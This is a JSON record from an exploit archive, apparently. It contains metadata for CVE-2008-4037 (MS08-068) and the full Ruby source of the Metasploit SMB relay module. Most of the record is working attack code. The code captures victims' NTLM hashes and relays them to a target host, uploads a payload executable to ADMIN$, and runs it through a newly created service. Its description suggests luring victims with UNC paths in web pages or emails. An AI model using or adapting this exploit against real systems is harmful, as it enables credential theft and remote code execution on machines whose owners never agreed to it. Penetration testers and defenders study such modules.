{"exploit":{"id":"EDB-16360","name":"Microsoft Windows - SMB Relay Code Execution (MS08-068) (Metasploit)","description":"Microsoft Windows - SMB Relay Code Execution (MS08-068) (Metasploit)","cves":["CVE-2008-4037"],"author":"Metasploit","published":"2010-09-21","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16360","path":"exploits/windows/remote/16360.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16360.rb","vulnerabilities":[{"id":"CVE-2008-4037","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows 2000 Gold through SP4, XP Gold through SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote SMB servers to execute arbitrary code on a client machine by replaying the NTLM credentials of a client user, as demonstrated by backrush, aka \"SMB Credential Reflection Vulnerability.\" NOTE: some reliable sources report that this vulnerability exists because of an insufficient fix for CVE-2000-0834.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4037","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4037"},"updatedAt":"2024-08-07T10:00:42.634Z","retrievedAt":"2026-11-27T04:08:27.439Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16360.png?v=2","url":"https://exploitbin.com/exploits/EDB-16360","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16360/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16360/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: smb_relay.rb 10404 2010-09-21 00:13:30Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\n\n=begin\nWindows XP systems that are not part of a domain default to treating all\nnetwork logons as if they were Guest. This prevents SMB relay attacks from\ngaining administrative access to these systems. This setting can be found\nunder:\n\n\tLocal Security Settings >\n\t Local Policies >\n\t  Security Options >\n\t   Network Access: Sharing and security model for local accounts\n=end\n\nrequire 'msf/core'\n\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = ExcellentRanking\n\n\tinclude Msf::Exploit::Remote::SMBServer\n\tinclude Msf::Exploit::EXE\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Microsoft Windows SMB Relay Code Execution',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module will relay SMB authentication requests to another\n\t\t\t\thost, gaining access to an authenticated SMB session if successful.\n\t\t\t\tIf the connecting user is an administrator and network logins are\n\t\t\t\tallowed to the target machine, this module will execute an arbitrary\n\t\t\t\tpayload. To exploit this, the target system\tmust try to\tauthenticate\n\t\t\t\tto this module. The easiest way to force a SMB authentication attempt\n\t\t\t\tis by embedding a UNC path (\\\\\\\\SERVER\\\\SHARE) into a web page or\n\t\t\t\temail message. When the victim views the web page or email, their\n\t\t\t\tsystem will automatically connect to the server specified in the UNC\n\t\t\t\tshare (the IP address of the system running this module) and attempt\n\t\t\t\tto authenticate.  Unfortunately, this\n\t\t\t\tmodule is not able to clean up after itself. The service and payload\n\t\t\t\tfile listed in the output will need to be manually removed after access\n\t\t\t\thas been gained. The service created by this tool uses a randomly chosen\n\t\t\t\tname and description, so the services list can become cluttered after\n\t\t\t\trepeated exploitation.\n\n\t\t\t\tThe SMB authentication relay attack was first reported by Sir Dystic on\n\t\t\t\tMarch 31st, 2001 at @lanta.con in Atlanta, Georgia.\n\n\t\t\t\tOn November 11th 2008 Microsoft released bulletin MS08-068. This bulletin\n\t\t\t\tincludes a patch which prevents the relaying of challenge keys back to\n\t\t\t\tthe host which issued them, preventing this exploit from working in\n\t\t\t\tthe default configuration. It is still possible to set the SMBHOST\n\t\t\t\tparameter to a third-party host that the victim is authorized to access,\n\t\t\t\tbut the \"reflection\" attack has been effectively broken.\n\t\t\t},\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'hdm'\n\t\t\t\t],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 10404 $',\n\t\t\t'Privileged'     => true,\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'thread'\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'        => 2048,\n\t\t\t\t\t'DisableNops'  => true,\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2008-4037'],\n\t\t\t\t\t[ 'OSVDB', '49736'],\n\t\t\t\t\t[ 'MSB', 'MS08-068'],\n\t\t\t\t\t[ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],\n\t\t\t\t\t[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ],\n\t\t\t\t\t[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ],\n\t\t\t\t\t[ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ]\n\t\t\t\t],\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Automatic', { } ],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Mar 31 2001',\n\t\t\t'DefaultTarget'  => 0 ))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptAddress.new('SMBHOST', [ false, \"The target SMB server (leave empty for originating system)\"])\n\t\t\t], self.class )\n\tend\n\n\n\tif (not const_defined?('NDR'))\n\t\tNDR = Rex::Encoder::NDR\n\tend\n\n\tdef smb_haxor(c)\n\t\tsmb = @state[c]\n\t\trclient = smb[:rclient]\n\n\t\tif (@pwned[smb[:rhost]])\n\t\t\tprint_status(\"Ignoring request from #{smb[:rhost]}, attack already in progress.\")\n\t\t\treturn\n\t\tend\n\n\t\tif (not rclient.client.auth_user)\n\t\t\tprint_line(\" \")\n\t\t\tprint_error(\n\t\t\t\t\"FAILED! The remote host has only provided us with Guest privileges. \" +\n\t\t\t\t\"Please make sure that the correct username and password have been provided. \" +\n\t\t\t\t\"Windows XP systems that are not part of a domain will only provide Guest privileges \" +\n\t\t\t\t\"to network logins by default.\"\n\t\t\t)\n\t\t\tprint_line(\" \")\n\t\t\treturn\n\t\tend\n\n\t\tprint_status(\"Connecting to the ADMIN$ share...\")\n\t\trclient.connect(\"ADMIN$\")\n\n\t\t@pwned[smb[:rhost]] = true\n\n\t\tprint_status(\"Regenerating the payload...\")\n\t\tcode = regenerate_payload(smb[:rsock])\n\n\t\t# Upload the shellcode to a file\n\t\tprint_status(\"Uploading payload...\")\n\n\t\tfilename = rand_text_alpha(8) + \".exe\"\n\t\tservicename = rand_text_alpha(8)\n\n\t\tfd = rclient.open(\"\\\\#{filename}\", 'rwct')\n\n\t\texe = ''\n\t\topts = {\n\t\t\t:servicename => servicename,\n\t\t\t:code => code.encoded\n\t\t}\n\t\tif (datastore['PAYLOAD'].include? 'x64')\n\t\t\topts.merge!({ :arch => ARCH_X64 })\n\t\tend\n\t\texe = generate_payload_exe_service(opts)\n\n\t\tfd << exe\n\t\tfd.close\n\n\t\tprint_status(\"Created \\\\#{filename}...\")\n\n\t\t# Disconnect from the ADMIN$\n\t\trclient.disconnect(\"ADMIN$\")\n\n\t\tprint_status(\"Connecting to the Service Control Manager...\")\n\t\trclient.connect(\"IPC$\")\n\n\t\tdcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', \"\\\\svcctl\")\n\n\t\t##\n\t\t# OpenSCManagerW()\n\t\t##\n\n\t\tprint_status(\"Obtaining a service manager handle...\")\n\t\tscm_handle = nil\n\t\tstubdata =\n\t\t\tNDR.uwstring(\"\\\\\\\\#{smb[:rhost]}\") +\n\t\t\tNDR.long(0) +\n\t\t\tNDR.long(0xF003F)\n\t\tbegin\n\t\t\tresponse = dcerpc.call(0x0f, stubdata)\n\t\t\tif (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)\n\t\t\t\tscm_handle = dcerpc.last_response.stub_data[0,20]\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Error: #{e}\")\n\t\t\treturn\n\t\tend\n\n\t\t##\n\t\t# CreateServiceW()\n\t\t##\n\n\t\tservicename = rand_text_alpha(8)\n\t\tdisplayname = rand_text_alpha(rand(32)+1)\n\t\tsvc_handle  = nil\n\t\tsvc_status  = nil\n\n\t\tprint_status(\"Creating a new service...\")\n\t\tstubdata =\n\t\t\tscm_handle +\n\t\t\tNDR.wstring(servicename) +\n\t\t\tNDR.uwstring(displayname) +\n\n\t\t\tNDR.long(0x0F01FF) + # Access: MAX\n\t\t\tNDR.long(0x00000110) + # Type: Interactive, Own process\n\t\t\tNDR.long(0x00000003) + # Start: Demand\n\t\t\tNDR.long(0x00000000) + # Errors: Ignore\n\n\t\t\tNDR.wstring(\"%SYSTEMROOT%\\\\#{filename}\") + # Binary Path\n\t\t\tNDR.long(0) + # LoadOrderGroup\n\t\t\tNDR.long(0) + # Dependencies\n\t\t\tNDR.long(0) + # Service Start\n\t\t\tNDR.long(0) + # Password\n\t\t\tNDR.long(0) + # Password\n\t\t\tNDR.long(0) + # Password\n\t\t\tNDR.long(0)   # Password\n\t\tbegin\n\t\t\tresponse = dcerpc.call(0x0c, stubdata)\n\t\t\tif (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)\n\t\t\t\tsvc_handle = dcerpc.last_response.stub_data[0,20]\n\t\t\t\tsvc_status = dcerpc.last_response.stub_data[24,4]\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Error: #{e}\")\n\t\t\treturn\n\t\tend\n\n\n\t\t##\n\t\t# CloseHandle()\n\t\t##\n\t\tprint_status(\"Closing service handle...\")\n\t\tbegin\n\t\t\tresponse = dcerpc.call(0x0, svc_handle)\n\t\trescue ::Exception\n\t\tend\n\n\t\t##\n\t\t# OpenServiceW\n\t\t##\n\t\tprint_status(\"Opening service...\")\n\t\tbegin\n\t\t\tstubdata =\n\t\t\t\tscm_handle +\n\t\t\t\tNDR.wstring(servicename) +\n\t\t\t\tNDR.long(0xF01FF)\n\n\t\t\tresponse = dcerpc.call(0x10, stubdata)\n\t\t\tif (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)\n\t\t\t\tsvc_handle = dcerpc.last_response.stub_data[0,20]\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Error: #{e}\")\n\t\t\treturn\n\t\tend\n\n\t\t##\n\t\t# StartService()\n\t\t##\n\t\tprint_status(\"Starting the service...\")\n\t\tstubdata =\n\t\t\tsvc_handle +\n\t\t\tNDR.long(0) +\n\t\t\tNDR.long(0)\n\t\tbegin\n\t\t\tresponse = dcerpc.call(0x13, stubdata)\n\t\t\tif (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\treturn\n\t\t\t#print_error(\"Error: #{e}\")\n\t\tend\n\n\t\t##\n\t\t# DeleteService()\n\t\t##\n\t\tprint_status(\"Removing the service...\")\n\t\tstubdata =\n\t\t\tsvc_handle\n\t\tbegin\n\t\t\tresponse = dcerpc.call(0x02, stubdata)\n\t\t\tif (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Error: #{e}\")\n\t\tend\n\n\t\t##\n\t\t# CloseHandle()\n\t\t##\n\t\tprint_status(\"Closing service handle...\")\n\t\tbegin\n\t\t\tresponse = dcerpc.call(0x0, svc_handle)\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Error: #{e}\")\n\t\tend\n\n\t\trclient.disconnect(\"IPC$\")\n\n\t\tprint_status(\"Deleting \\\\#{filename}...\")\n\t\trclient.connect(\"ADMIN$\")\n\t\trclient.delete(\"\\\\#{filename}\")\n\tend\n\n\n\tdef smb_dcerpc(c, uuid, version, pipe)\n\t\tsmb  = @state[c]\n\t\topts = {\n\t\t\t'Msf' => framework,\n\t\t\t'MsfExploit' => self,\n\t\t\t'smb_pipeio' => 'rw',\n\t\t\t'smb_client' => smb[:rclient]\n\t\t}\n\n\t\thandle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe])\n\t\tdcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts)\n\tend\n\n\n\tdef smb_cmd_dispatch(cmd, c, buff)\n\t\tsmb = @state[c]\n\n\t\t@pwned ||= {}\n\n\t\tcase cmd\n\t\twhen CONST::SMB_COM_NEGOTIATE\n\t\t\tsmb_cmd_negotiate(c, buff)\n\n\t\twhen CONST::SMB_COM_SESSION_SETUP_ANDX\n\t\t\tsmb_cmd_session_setup(c, buff)\n\n\t\twhen CONST::SMB_COM_TREE_CONNECT\n\t\t\tprint_status(\"Denying tree connect from #{smb[:name]}\")\n\t\t\tpkt = CONST::SMB_BASE_PKT.make_struct\n\t\t\tpkt['Payload']['SMB'].v['Command'] = cmd\n\t\t\tpkt['Payload']['SMB'].v['Flags1']  = 0x88\n\t\t\tpkt['Payload']['SMB'].v['Flags2']  = 0xc001\n\t\t\tpkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022\n\t\t\tc.put(pkt.to_s)\n\n\t\telse\n\t\t\tprint_status(\"Ignoring request from #{smb[:name]} (#{cmd})\")\n\t\t\tpkt = CONST::SMB_BASE_PKT.make_struct\n\t\t\tpkt['Payload']['SMB'].v['Command'] = cmd\n\t\t\tpkt['Payload']['SMB'].v['Flags1']  = 0x88\n\t\t\tpkt['Payload']['SMB'].v['Flags2']  = 0xc001\n\t\t\tpkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022\n\t\t\tc.put(pkt.to_s)\n\t\tend\n\tend\n\n\tdef smb_cmd_negotiate(c, buff)\n\t\tsmb = @state[c]\n\t\tpkt = CONST::SMB_NEG_PKT.make_struct\n\t\tpkt.from_s(buff)\n\n\t\t# Record the remote process ID\n\t\tsmb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']\n\n\t\tgroup    = ''\n\t\tmachine  = smb[:nbsrc]\n\n\t\tdialects = pkt['Payload'].v['Payload'].gsub(/\\x00/, '').split(/\\x02/).grep(/^\\w+/)\n\t\t# print_status(\"Negotiation from #{smb[:name]}: #{dialects.join(\", \")}\")\n\n\t\tdialect =\n\t\t\tdialects.index(\"NT LM 0.12\") ||\n\t\t\tdialects.length-1\n\n\n\t\t# Dialect selected, now we try to the target system\n\t\ttarget_host = datastore['SMBHOST']\n\t\tif (not target_host or target_host.strip.length == 0)\n\t\t\ttarget_host = smb[:ip]\n\t\tend\n\n\t\trsock = nil\n\t\trport = nil\n\t\t[445, 139].each do |rport_|\n\t\t\trport = rport_\n\t\t\tbegin\n\t\t\t\trsock = Rex::Socket::Tcp.create(\n\t\t\t\t\t'PeerHost'  => target_host,\n\t\t\t\t\t'PeerPort'  => rport,\n\t\t\t\t\t'Timeout'   => 3,\n\t\t\t\t\t'Context'   =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Msf'        => framework,\n\t\t\t\t\t\t\t'MsfExploit' => self,\n\t\t\t\t\t\t}\n\t\t\t\t)\n\t\t\t\tbreak if rsock\n\t\t\trescue ::Interrupt\n\t\t\t\traise $!\n\t\t\trescue ::Exception => e\n\t\t\t\tprint_error(\"Error connecting to #{target_host}:#{rport} #{e.class} #{e}\")\n\t\t\tend\n\t\tend\n\n\t\tif(not rsock)\n\t\t\tprint_error(\"Could not connect to the target host (#{target_host}), the target may be firewalled.\")\n\t\t\treturn\n\t\tend\n\n\t\trclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)\n\n\t\tbegin\n\t\t\trclient.login_split_start_ntlm1(smb[:nbsrc])\n\t\trescue ::Interrupt\n\t\t\traise $!\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}\")\n\t\t\traise e\n\t\tend\n\n\t\tif (not rclient.client.challenge_key)\n\t\t\tprint_error(\"No challenge key received from #{smb[:ip]}:#{rport}\")\n\t\t\trsock.close\n\t\t\treturn\n\t\tend\n\n\t\tif (smb[:rsock])\n\t\t\tsmb[:rsock].close\n\t\tend\n\n\t\tsmb[:rsock] = rsock\n\t\tsmb[:rclient] = rclient\n\t\tsmb[:rhost] = target_host\n\n\t\tpkt = CONST::SMB_NEG_RES_NT_PKT.make_struct\n\t\tsmb_set_defaults(c, pkt)\n\n\t\ttime_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)\n\n\t\tpkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE\n\t\tpkt['Payload']['SMB'].v['Flags1'] = 0x88\n\t\tpkt['Payload']['SMB'].v['Flags2'] = 0xc001\n\t\tpkt['Payload']['SMB'].v['WordCount'] = 17\n\t\tpkt['Payload'].v['Dialect'] = dialect\n\t\tpkt['Payload'].v['SecurityMode'] = 3\n\t\tpkt['Payload'].v['MaxMPX'] = 2\n\t\tpkt['Payload'].v['MaxVCS'] = 1\n\t\tpkt['Payload'].v['MaxBuff'] = 4356\n\t\tpkt['Payload'].v['MaxRaw'] = 65536\n\t\tpkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended\n\t\tpkt['Payload'].v['ServerTime'] = time_lo\n\t\tpkt['Payload'].v['ServerDate'] = time_hi\n\t\tpkt['Payload'].v['Timezone']   = 0x0\n\n\n\t\tpkt['Payload'].v['SessionKey'] = 0\n\t\tpkt['Payload'].v['KeyLength'] = 8\n\n\t\tpkt['Payload'].v['Payload'] =\n\t\t\trclient.client.challenge_key +\n\t\t\tRex::Text.to_unicode(group) + \"\\x00\\x00\" +\n\t\t\tRex::Text.to_unicode(machine) + \"\\x00\\x00\"\n\n\t\tc.put(pkt.to_s)\n\tend\n\n\tdef smb_cmd_session_setup(c, buff)\n\t\tsmb = @state[c]\n\t\tpkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct\n\t\tpkt.from_s(buff)\n\n\n\t\t# Record the remote multiplex ID\n\t\tsmb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']\n\n\t\tlm_len = pkt['Payload'].v['PasswordLenLM']\n\t\tnt_len = pkt['Payload'].v['PasswordLenNT']\n\n\t\tlm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack(\"H*\")[0]\n\t\tnt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack(\"H*\")[0]\n\n\n\t\tbuff = pkt['Payload'].v['Payload']\n\t\tbuff.slice!(0, lm_len + nt_len)\n\t\tnames = buff.split(\"\\x00\\x00\").map { |x| x.gsub(/\\x00/, '') }\n\n\t\tsmb[:username] = names[0]\n\t\tsmb[:domain]   = names[1]\n\t\tsmb[:peer_os]   = names[2]\n\t\tsmb[:peer_lm]   = names[3]\n\n\n\t\t# Clean up the data for loggging\n\t\tif (smb[:username] == \"\")\n\t\t\tsmb[:username] = nil\n\t\tend\n\n\t\tif (smb[:domain] == \"\")\n\t\t\tsmb[:domain] = nil\n\t\tend\n\n\t\tprint_status(\n\t\t\t\"Received #{smb[:name]} #{smb[:domain]}\\\\#{smb[:username]} \" +\n\t\t\t\"LMHASH:#{lm_hash ? lm_hash : \"<NULL>\"} NTHASH:#{nt_hash ? nt_hash : \"<NULL>\"} \" +\n\t\t\t\"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\"\n\t\t)\n\n\t\tif (lm_hash == \"\" or lm_hash == \"00\")\n\t\t\tlm_hash = nil\n\t\tend\n\n\t\tif (nt_hash == \"\")\n\t\t\tnt_hash = nil\n\t\tend\n\n\t\tif (lm_hash or nt_hash)\n\t\t\trclient = smb[:rclient]\n\t\t\tprint_status(\"Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\\\#{smb[:username]}...\")\n\t\t\tres = nil\n\n\t\t\tbegin\n\t\t\t\tres = rclient.login_split_next_ntlm1(\n\t\t\t\t\tsmb[:username],\n\t\t\t\t\tsmb[:domain],\n\t\t\t\t\t[ (lm_hash ? lm_hash : \"00\" * 24) ].pack(\"H*\"),\n\t\t\t\t\t[ (nt_hash ? nt_hash : \"00\" * 24) ].pack(\"H*\")\n\t\t\t\t)\n\t\t\trescue XCEPT::LoginError\n\t\t\tend\n\n\t\t\tif (res)\n\t\t\t\tprint_status(\"AUTHENTICATED as #{smb[:domain]}\\\\#{smb[:username]}...\")\n\t\t\t\tsmb_haxor(c)\n\t\t\telse\n\t\t\t\tprint_error(\"Failed to authenticate as #{smb[:domain]}\\\\#{smb[:username]}...\")\n\t\t\tend\n\t\tend\n\n\t\tprint_status(\"Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\\\#{smb[:username]}\")\n\n\t\tpkt = CONST::SMB_BASE_PKT.make_struct\n\t\tsmb_set_defaults(c, pkt)\n\n\t\tpkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX\n\t\tpkt['Payload']['SMB'].v['Flags1']  = 0x88\n\t\tpkt['Payload']['SMB'].v['Flags2']  = 0xc001\n\t\tpkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022\n\t\tc.put(pkt.to_s)\n\tend\n\nend","sha256":"74c53eeffa2ea41818392da07e0278598bcef1ce2657ffdcbaa0a4367d78c9b1","bytes":14664,"fetchedAt":"2026-11-27T04:08:25.511Z","encoding":"utf-8 (display only; download retains original bytes)"}